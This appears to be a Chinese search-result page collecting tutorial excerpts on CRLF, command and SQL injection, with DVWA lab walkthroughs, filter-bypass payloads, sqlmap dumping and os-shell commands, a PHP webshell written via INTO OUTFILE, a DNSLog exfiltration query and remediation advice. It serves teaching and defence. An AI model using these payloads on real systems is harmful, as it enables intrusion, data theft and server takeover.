精华内容
下载资源
问答
  • 2021-10-27 15:40:49

    一,CRLF漏洞原理

            在《HTTP/HTTP报文》中介绍了HTTP报文的结构,状态行和首部中的每行以CRLF结束,首部于主题之间有一空行分隔。

            可以理解为HTTP头部之间有一个CRLF做间隔,而头部和主体之间有两个CRLF做间隔。

            CRLF漏洞是因为web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求体或者头部中的字段注入恶意的CRLF,并在响应中输出,所以又称为HTTP响应拆分漏洞。

    二,CRLF漏洞拓展知识

            CRLF指的是回车符(CR,ASCII值为13,\r,%0d)和换行符(LF,ASCII值为10,\n,%0a),来源于打字机,表示行的结束,计算机出现后沿用了这个概念。

            回车符:光标移动到行首

            换行符:光标移动到下一行

            键盘上的回车键(ENTER)就可以执行该操作。但是不同的操作系统,行的结束符时不一样的。

            Windows系统:使用CRLF表示行结束

            Linux系统:使用LF表示行结束

            MacOS:早期使用CR表示,现在使用LF表示行结束

            所以同一文件再不同操作系统中打开,内容格式可能会出现差异,这是行结束符不一致导致的。

    三,漏洞检测

           漏洞产生的先决条件:

                    服务器端使用head函数设置了响应头属性的情况下(代码审计)

    if(isset($_GET["url"]) && ($_COOKIE["security"]!="1") && $_COOKIE["security_level"]!="2"))
    {
        //header函数设置响应头中的location的值
        header("location:" .$_GET["url"]);
        exit();
    }

            CRLF注入漏洞的本质和XSS有点相似,攻击者将而已数据发送给易受攻击的web应用程序,web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在响应主体中)

            CRLF注入漏洞的检测和XSS差不太多,通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

    四,漏洞利用

            1,通过一个CRLF分割成另一个响应头,可以添加请求头属性,如Set-Cookie;

            2,通过两个CRLF分割成响应体,传入的数据会直接将给浏览器执行,这样的话可以逃逸XSS过滤,因为这个数据不是POST传入的,而是服务器通过响应头生成的。

    五,漏洞防御

            过滤\r,\n之类的行结束符。

    更多相关内容
  • 命令注入漏洞

    2022-03-19 14:01:31
    命令注入漏洞的原理,DVWA靶场,简单防御与绕过

    Command Injection

    类比SQL Injection

    既然漏洞类型中都有"injection",我们考虑啥叫injection

    在sql注入中我们通过使用Union等套路数据库,让它说出"不该说"的话.

    在命令执行漏洞中同样的道理,我们需要使用一些逻辑运算符使得服务端额外执行一些命令

    About

    The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the web service has.

    命令注入攻击的目的是在存在漏洞的应用上注入并执行攻击者指定的命令.

    在这种情况下,被迫营业的应用就像一个伪shell,攻击者可以像该应用的管理员一样使用它.

    但是,命令的权限与web服务器相同(可能不能获取服务器所在主机的管理员权限,但是一定可以获得服务器的管理权限)

    Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).

    当对输入的数据没有检验时,命令注入攻击就容易发生,以表单,cookies,HTTP请求头等等方式

    The syntax and commands may differ between the Operating Systems (OS), such as Linux and Windows, depending on their desired actions.

    不同操作系统的符号和命令可能有区别,比如说windows的ipconfig和linux的ifconfig

    This attack may also be called “Remote Command Execution (RCE)”.

    这种攻击又可以称为远程命令执行


    Objective

    Remotely, find out the user of the web service on the OS, as well as the machines hostname via RCE.

    目标:找到web服务器在其操作系统上的用户是谁,远程主机的hostname是多少

    漏洞的发生

    DVWA Command Injection low

    image-20220319121855536

    页面逻辑分析

    前端代码

    	<div class="vulnerable_code_area">
    		<h2>Ping a device</h2>
    
    		<form name="ping" action="#" method="post">
    			<p>
    				Enter an IP address:
    				<input type="text" name="ip" size="30">
    				<input type="submit" name="Submit" value="Submit">
    			</p>
    
    		</form>
    		
    	</div>
    

    前端以text形式获取用户输入的一个ip地址然后使用post方法将表单发送给后端

    服务端代码

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];//$_REQUEST超级全局变量可以获取$_POST和$_GET的所有数据,这里实际上可以用$_POST
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {//php_uname函数的作用是返回
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?> 
    

    php_uname()返回php运行所在的操作系统信息,参数与返回值的关系:

    ‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。

    ‘s’:操作系统名称。例如: Windows NT。

    ‘n’:主机名。例如: localhost.example.com。

    ‘r’:版本名称,例如: 5.1.2-RELEASE。

    ‘v’:版本信息。操作系统之间有很大的不同。

    ‘m’:机器类型。例如:i386。

    if( stristr( php_uname( 's' ), 'Windows NT' ) )检查服务端所在的操作系统是否是Windows NT系统

    如果是则直接执行``ping $target`命令,

    如果不是Windows NT操作系统则执行ping -c 4 $target命令

    为什么要特判一下windows系统呢?

    在linux上使用不带任何命令行参数的ping命令则会无休止地ping下去

    image-20220319124030588

    但是windows的ping命令默认只ping四次

    image-20220319124105163

    然后$cmd承载了ping命令的返回值被echo回显到前端

    漏洞分析

    观察这句话:

    $target = $_REQUEST[ 'ip' ];
    $cmd = shell_exec( 'ping  ' . $target );
    

    $target是用户的输入,这里没有经过任何过滤,直接丢给shell_exec函数执行系统函数了,

    当我们$target是老老实实地输入一个IP地址比如127.0.0.1则一切和和气气,没有问题

    但是当$target=127.0.0.1&&whoami这样会执行两条命令,一个ping,一个whoami,都会回显到前端被攻击者观察到

    image-20220319124715173

    明显可以看到回显的最后一行是whoami返回的位于executor主机上的deutschball用户

    这与sql注入中$id=-1' union select database()#有异曲同工的感觉?

    类似的,也可以用更加粗暴的命令比如||ipconfig,这样前件就是pingping了个寂寞,后件就是ipconfig,由于是逻辑或,因此两个都会执行

    并且前件根本执行不起来,回显不需要等待四次ping之后才显示

    image-20220319125156345

    防御与绕过

    DVWA Command Injection medium

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    替换防御

      '&&' => '',
      ';'  => '',
    

    根据以前的绕过替换的经验,可能的绕过方式:

    1.双写绕过空字符替换

    输入127.0.0.1&&&&whoami是无效的,因为前面两个&和后面两个&恰好匹配两对都被替换掉了,

    但是输入127.0.0.1&;&是有效的,str_replace函数只会执行一次,把两个&中间的分号;替换掉了,此时两个分号恰好组成逻辑与

    image-20220319131043037

    2.逻辑或||等其他逻辑运算符没有被替换

    image-20220319131106182

    DVWA Command Injection high

    后端代码

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    "严格"的双写防御和黑名单防御

    这里替换方式是单个字符就替换成空字符,显然双写绕过是不可能了,又黑名单全了,再找一个没有被ban的逻辑运算符也是不可能的

    侥幸绕过

    这里"严格"是加了引号的

    注意黑名单中:

            '| ' => '',
    

    这里管道运算符|后面貌似有个空格.

    那么直接写|whoami就能够执行

    image-20220319133037422

    管道命令
      管道命令能够将一个命令的执行结果经过筛选,只保留我们需要的信息。
      如 dir 命令会显示目录下所有文件夹和文件,可以使用管道命令| findstr “” 将dir的结果进行筛选,只保留需要的信息

    比如要查询当前活动的进程中谁在占用8080端口

    C:\Users\86135>netstat -n|findstr "8080"
      TCP    192.168.43.44:65068    120.232.67.218:8080    ESTABLISHED
    

    比如要查询当前所有任务中和phpstudy有关的

    C:\Users\86135>tasklist|findstr "phpstudy"
    phpstudy_pro.exe             22080 Console                    1     66,528 K
    

    即管道符|后面的操作是基于前面命令的结果上的

    绝对防御

    DVWA Command Injection impossible

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    
    $target = stripslashes( $target );
    

    这里为什么要取掉反斜杠?估计涉及命令行的一些性质,待补上了命令行的知识后回头研究

    后面将ip按点号.分成四份,并且要求每份都是整数,这意味着最后一份中写啥命令都给扬了

    展开全文
  • SQL注入漏洞

    千次阅读 2022-02-18 15:34:00
    SQL注入漏洞就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。 SQL注入漏洞产生需要满足两个条件: 1)参数用户可控:前端传给后端的参数内容是用户...

    SQL注入漏洞就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。

    SQL注入漏洞产生需要满足两个条件:

    1)参数用户可控:前端传给后端的参数内容是用户可以控制的;

    2)参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

    SQL注入漏洞会导致数据库信息泄露、网页篡改(登陆后台后发布恶意内容)、网站挂马(当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人)、私自添加系统账号、读写文件获取webshell等问题。

    SQL注入漏洞关键在于注入点的发掘。

    1)一般可采用appscan/awvs/burp自动化工具扫描,再人工进行验证;

    2)简单验证在输入参数后面加上‘,检查请求响应;

    3)可直接使用sqlmap工具(依赖python环境)。常用命令为:sqlmap.py –r xx.txt --level 5 --risk 3 --dbs--batch

    手工注入常用语句(以mysql为例)

    1)判断是否存在注入and 1=1and 1=2

    2)判断有多少列order by n

    3)判断数据显示点union select 1,2,3,N

    4)查看数据库基本信息union select 1,version(),database()

    5)查看数据库有哪些表union select 1,2,group_concat(table_name) from information_schema.tableswhere table_schema=‘security'

    6)查看对应表有哪些列union select 1,2,group_concat(column_name) from information_schema.columnswhere table_name=‘users'

    7)查看账号密码信息union select 1,group_concat(username),group_concat(password) from users

    工具检测注入

    sqlmap常用命令:python sqlmap.py -r xx.txt --level 5 --risk 3 --dbs--dbms“Oracle” --batchpython sqlmap.py -u "http://ip/products.asp?id=134" --batch

    暴库:python sqlmap.py -u "http://ip/products.asp?id=134" --dbs

    暴当前库:python sqlmap.py -u "http://ip/products.asp?id=134" --current-db

    暴表:python sqlmap.py -u "http://ip/products.asp?id=134" -D tourdata--tables

    暴表列字段:python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb–columns

    暴表列数据:python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb-C"email,Username,userpassword" --dump

    分页暴表列数据:python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb-C"email,Username,userpassword" --start 1 --stop 10 --dump

    解决办法:

    1.减少SQL语句拼接,采用SQL预编译PreparedStatement,SQL语句会预编译在数据库系统中,执行计划同样会被缓存起来,它允许数据库做参数化查询。使用预处理语句比普通的查询更快;使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了

    2.启用SQL关键字过滤定义全局sqlFilter.java,对输入参数进行SQL合规性正则校验;

    private static final String  reg="(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)";
    private static final Pattern sqlPattern=Pattern.compile(reg,Pattern.CASE_INSENSITIVE);
    private staticbooleansqlInjectionCheck(Stringsql){
    	if(sqlPattern.matcher(sql).find()){
    		logger.error("未能通过sqlInjection过滤器");
    		returnfalse;
    	}
    	returntrue;
    }

    3.最好的办法是适用数据传输加密,防止数据被篡改,一旦后台数据解密失败,直接返回无效请求

    展开全文
  • 工作多年后,我打算将Web漏洞做一个整理记录,一方面方便自己,另一方面方便想要学习或转行网络安全行业的小伙伴,从本文开始,我将从...SQL注入漏洞包括:union注入、boolean注入、报错注入、时间盲注、堆叠查询注入

    欢迎关注WX号:午夜观星河,专注于计算机信息安全技术分享。

    工作多年后,我打算将Web漏洞做一个整理记录,以方便想要学习或转行网络安全行业的小伙伴,从本文开始,我将从漏洞原理、漏洞测试、漏洞修复等方面详细讲解Web安全系列漏洞。

    1.SQL注入漏洞原理

    SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有对用户输入的内容进行安全检查,直接代入数据库进行查询,导致了sql注入的发生。

    SQL注入漏洞包括:union注入、boolean注入、报错注入、时间盲注、堆叠查询注入、二次注入、宽字节注入、cookie注入、base64注入、XFF注入等。

    2.SQL注入漏洞测试

    2.1SQL注入漏洞发现

    判断是否存在注入漏洞,使用单引号报错, and 1=1页面正常,and 1=2页面不正常,则判断存在sql注入漏洞。

    2.2SQL注入漏洞手动测试

    上面说过SQL注入漏洞分了很多种类,受限于篇幅,这里只以union注入举例,其他将附上链接,感兴趣的小伙伴可以自行查看。

    (1)union注入,又称联合注入,它是利用union和前面的一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同。

    A.判断是否存在漏洞:(www.test.com为本地搭建环境)

    http://www.test.com/web/union.php?id=1

    http://www.test.com/web/union.php?id=1'

    http://www.test.com/web/union.php?id=1 and 1=1

    http://www.test.com/web/union.php?id=1 and 1=2

    B.查询字段数量

    http://www.test.com/web/union.php?id=1 order by 3

    当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

     C.查询SQL语句插入位置

    http://www.test.com/web/union.php?id=-1 union select 1,2,3

    可以看到2,3位置可以插入SQL语句。

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

    D.获取当前数据库库名

    2位置修改为:database()

    http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

    源码:

    <?php
    $con=mysqli_connect("localhost","root","root","security");
    mysqli_set_charset($con,'utf8');
    if(!$con){
    	echo "Connect failed : ".mysqli_connect_error();
    }
     
    $id=$_GET['id'];
    $result=mysqli_query($con,"select * from users where id=".$id );
    $row=mysqli_fetch_array($result);
    echo $row['username']." : ".$row['password'];
    ?>

    union注入详解:https://blog.csdn.net/SouthWind0/article/details/82913183

    (2)Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。

     Boolean注入详解:https://blog.csdn.net/SouthWind0/article/details/82917798

    (3)报错注入:输入'等字符,SQL语句报错,程序直接将错误信息输出到了页面上,就可以尝试利用报错注入来获取数据。常用到的函数:updatexml() 、extractvalue()、exp()、floor()等。

    报错注入详解:https://blog.csdn.net/SouthWind0/article/details/82924149

    (4)时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

    时间盲注详解:https://blog.csdn.net/SouthWind0/article/details/82926845

    (5)堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

    堆叠查询注入详解:https://blog.csdn.net/SouthWind0/article/details/82929895

    (6)二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。

    二次注入详解:https://blog.csdn.net/SouthWind0/article/details/82931871

    (7)宽字节注入:id=1’时并没有报错,但多了一个转义符,反斜杠,在地址后先加%df,再加单引号,因为反斜杠的编码是%5c,而GBK编中,%df%5c是繁体字的“連”,单引号成功逃逸。再使用注释符来注释后面多余的单引号。

    宽字节注入详解:https://blog.csdn.net/SouthWind0/article/details/83342847

    (8)cookie注入:指的是针对cookie数据进行注入。

    cookie注入详解:https://blog.csdn.net/SouthWind0/article/details/83343914

    (9)base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF的检测。

    Base64注入详解:https://blog.csdn.net/SouthWind0/article/details/83344880

    (10)XFF注入:指的是针对X-Forwarded-For进行注入,X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。

     XFF注入详解:https://blog.csdn.net/SouthWind0/article/details/83348706

    2.3SQL注入漏洞自动化测试

    在真实的测试环境中,一般都是使用自动化工具进行测试SQL注入,sqlmap是当前安全工程师最喜欢使用的SQL注入自动化工具,它的基本用法如下:

    测试GET型:

    (1)判断是否存在注入

    sqlmap.py -u “http://xx.com/index.php?id=1”

    (2)获取所有数据库

    sqlmap.py -u “http://xx.com/index.php?id=1” --dbs

    (3)获取数据库中的表名

    sqlmap.py -u “http://xx.com/index.php?id=1” -D security --tables

    (4)获取表中的字段名

    sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users --columns

    (5)获取字段的内容

    sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users -C username,password --dump

    常用命令:

    列出所有用户:sqlmap.py -u “http://xx.com/index.php?id=1” --users

    获取用户密码:sqlmap.py -u “http://xx.com/index.php?id=1” --passwords

    获取当前网站数据库名称:

    sqlmap.py -u “http://xx.com/index.php?id=1” --current-db

    测试POST型:测试POST型请求报文、Cookie信息等。

    (1)cookie注入,猜解表

    sqlmap.py -u “http://xx.com/index.php” --cookie “id=1” --level 2 -D security --tables

    探测等级:--level,一共5个等级,可以不加level,默认为1。为2时会测试cookie,为3时会测试User-Agent/Referer。总之为了保证全面性,建议使用高的level。

    (2)判断文本请求是否存在注入

    sqlmap.py -r 1.txt

    2.4SQL注入漏洞深层次利用

    (1)手动利用

    最常见的用法是利用SQL注入向服务器写入webshell,网站路径可以通过phpinfo()页面信息、系统信息、以及数据包泄露绝对路径获得。写入一句话利用(注意写入目录需要有权限),其中x为php文件名:

    select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/x';

    如下所示:

    http://xx.test/test/union.php?id=-1%20union%20select%201,2,%27%3C?php%20@eval($_POST[cmd]);?%3E%27%20into%20outfile%20%27/var/www/html/test/shell.php%27

    watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

    (2)利用sqlmap

    反弹一个osshell:

    python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security" --os-shell

    执行操作系统命令:

    python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security" --os-cmd=OSCMD

    数据库提权:--priv-esc

    获取数据库shell:--sql-shell   

    注意:MySQL读写文件的条件限制,SQLMAP获取os-shell的需要文件写入操作:
    (1)、MySQL服务默认以mysql用户权限启动,并没有危险目录(/usr/lib64/mysql/plugin[root 755]、/var/www/html[root 755]、/var/spool/cron[root 700]、/root/.ssh[root 700]等)下的文件写入权限。
    (2)、MySQL 5.6.34版本以后的secure_file_priv参数默认值为NULL或指定的/var/lib/mysql-files,即禁止在危险目录写入。

    (3)DNSLog外带

    对于SQL盲注(布尔盲注、时间盲注),以及只有DNS出网的SQL注入,我们可以利用DNSLog来获取信息。作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。

    mysql通常会利用内置函数load_file()来完成DNSLOG,load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。
    通过show variables like '%secure%';查看load_file()可以读取的磁盘。
    A.当secure_file_priv为空,就可以读取磁盘的目录。
    B.当secure_file_priv为G:\,就可以读取G盘的文件。
    C.当secure_file_priv为null,load_file就不能加载文件。
    通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

    举例:select load_file(concat('\\\\',(select database()),'.mysql.uj4j2o.dnslog.cn\\abc'));

    注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

    3.SQL注入漏洞修复

    (1)建议不要直接拼接SQL语句,而应该使用预编译的方式进行参数化查询,这是解决此漏洞的根本方法。

    正确写法:select * from user where name = #{name};//这种底层会解析成预编译语句 select * from user where name = ?

    错误写法:select * from user where name = ${name};

    (2)对用户的输入进行检验过滤,过滤危险字符,如:;、'、"、()、,、\、--+、#、and、or、union、select、where、limit、group、by、hex、substr。此种方法存在缺陷,一方面可能会影响业务,另一方面可能会存在绕过。

    (3)为每个应用使用单独的、权限有限的数据库连接。

    (4)机密信息应该加密,秘钥信息分开存放,这样即使数据泄露,攻击者也无法解密。

    展开全文
  • Microsoft Windows使用MHTML时存在安全漏洞,远程攻击者可利用此漏洞将任意脚本代码注入到当前浏览器会话,获取敏感信息,欺骗内容或在目标网站执行任意操作。 此漏洞源于MHTML解释MIME格式请求文档中内容块的方式。...
  • 检测到目标URL存在SQL注入漏洞

    千次阅读 2021-01-13 08:13:24
    建议使用以下措施防范SQL注入漏洞:对于开发========使用以下建议编写不受SQL注入***影响的web应用。参数化查询:SQL注入源于***者控制查询数据以修改查询逻辑,因此防范SQL注入***的最佳方式就是将查询的逻辑与其...
  • 参考:《2018年Windows平台漏洞年度报告》 什么是漏洞漏洞是在硬软件,协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。例如OpenSSL心脏出血漏洞,Badlock ...
  • PHP 代码注入漏洞

    千次阅读 2020-12-15 11:17:40
    文章目录PHP 代码注入原理及成因漏洞危害相关函数和语句eval()语言结构assert()...代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。
  • SQL注入漏洞-Headers注入

    千次阅读 2022-03-06 15:27:09
    那么我们通过注入猜解一下白名单那中的UA是中,是否有windows操作系统。 用火狐浏览器中的相关扩展插件(Modify Headers),将UA改为:' union SELECT 1,2,3,uagent FROM uagents WHERE uagent like '%windows% 关键...
  • 必须是Windows服务器、注入实现url访问、注入点必须是高权限且可执行写入。 原理:借助DNS解析产生日志的一个作用,来实现把一些数据反弹出来,类似反弹链接的作用。 应用场景:解决不回显(反向连接),SQL注入,命令...
  • 当确认了网页存在注入漏洞后就需要进一步判断该注入点属于哪一种注入类型,知道了注入类型才能根据其特点构造注入的sql语句完成注入目的。 推断后端的真实SQL写法 推断后端的SQL的写法是非常重要的一步,只有推断...
  • 漏洞之XML实体注入

    2021-06-30 17:47:38
    XXE——XML外部实体注入 程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。 XML是可扩展标记语言,很类型HTML语言。 但是xml语言的标签没有预定义,需要自定义标签。 XML 被设计用来结构化、...
  • Web安全——命令注入漏洞详解

    千次阅读 多人点赞 2020-06-09 11:55:00
    手把手入门命令注入漏洞
  • (亲测有效)关于sql注入漏洞的测试以及发现,尝试了百篇文章总结出来的 今天单位突然说有个平台有sql注入漏洞,让找出来来是什么样的sql漏洞,真是nn腿了,只能用下面的这张图来代表自己的心情了 关于sql注入的...
  • SQL_InjectionSQL查询语句注入,来自用户的数据通过字符串拼接的方式构筑到SQL语句中。修复建议使用带占位符的预编译执行方式的SQL语句,并且,所有非程序自身的数据都不参与SQL语句的构成。修复示例如:public void...
  • 常见的Web漏洞——命令注入

    千次阅读 2019-09-29 13:35:54
    命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严格导致的,常发生在具有执行系统命令的web应用中,如内容管理...
  • 漏洞学习--SQL注入

    千次阅读 2022-02-17 21:12:05
    漏洞学习--SQL注入
  • 怎么判断有没有SQL注入漏洞及原理

    千次阅读 2021-11-16 19:55:48
    通常 Sql 注入漏洞分为 2 种类型: 数字型 字符型 数字型判断: 当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and...
  • xdcms SQL注入漏洞

    2020-11-16 15:45:15
    xdcms SQL注入漏洞 实验目的:获取目标网站目录信息 实验工具BURP SQLMap 中国菜刀 操作机windows XP 目标网站www.test.ichunqiu 第一步获取网站管理员账号密码。 打开浏览器输入网址www.test.ichunqiu 进入注册页面...
  • SpEL表达式注入漏洞 前言 因为前端时间的spring gateway rce正是由此导致的所以来学习一下 介绍 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于统一...
  • 常见web漏洞——SQL注入

    千次阅读 2021-03-18 18:05:12
    SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个...
  • 1. 获取网站相关的信息利用PHP漏洞;获取数据库相关内容利用SQL注入漏洞。 2. 掌握漏洞验证及利用的过程。 3. 掌握利用漏洞读写文件及建立后门的过程。
  • CSV文件注入漏洞简析

    2021-03-14 10:18:48
    但是CSV文件注入漏洞确时常被疏忽,究其原因,可能是因为我们脑海里的第一印象是把CSV文件当作了普通的文本文件,未能引起警惕。一、漏洞定义攻击者通过在CSV文件中构造恶意的命令或函数,使得正常用户在使用Excel...
  • 前言 漏洞是影响网络安全的重要因素,而漏洞攻击作为恶意攻击的最常用手段,更是有着目标行业化、手段多样化的趋势,不论是个人还是企业,都面临着严峻的漏洞威胁。 ...过去一年,Windows、Off...
  • thinkPHP3.2.3sql注入漏洞

    千次阅读 2021-10-05 18:38:18
    首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!! 创建数据库,表名一定与你接下来要M的名字的相对应 连接数据库的文件不多说了,自己配置:ThinkPHP/Conf/convention.php 配置控制器:\...
  • Laravel 存在SQL注入漏洞 漏洞描述: 该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illuminate/Validation/Rules/Unique.php。有时候开发者希望在进行字段...
  • 0x01 影响版本 V3.0.0.M3 - V3.2.2 0x02 漏洞分析 使用该环境进行测试: https://github.com/jwwam/scfunc -依赖版本改成3.2.2查看修复的记录 ... 看到设置了一个isViaHeader,通过它的值来选择是使用 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 22,789
精华内容 9,115
关键字:

windows漏洞注入